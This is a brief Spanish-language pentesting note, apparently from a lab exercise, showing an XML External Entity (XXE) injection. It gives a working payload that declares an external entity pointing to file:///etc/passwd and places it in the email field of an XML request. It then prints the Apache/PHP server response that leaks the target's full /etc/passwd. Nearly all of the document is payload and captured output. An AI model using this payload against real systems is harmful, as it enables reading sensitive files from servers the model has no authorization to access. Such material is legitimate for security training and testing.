XML External Entity Injection (XXE)

Añadir una entidad en el cuerpo del sitio en la parte del XML

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>

<root><name>pedro</name><tel>123455</tel><email>

&myFile;

</email><password>123password</password></root>

Enviamos la peticion y como respuesta tenemos el documento /etc/passwd de la maquina víctima

HTTP/1.1 200 OK

Date: Sun, 03 Nov 2024 18:05:21 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.29

Vary: Accept-Encoding

Content-Length: 988

Connection: close

Content-Type: text/html



Sorry, 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false

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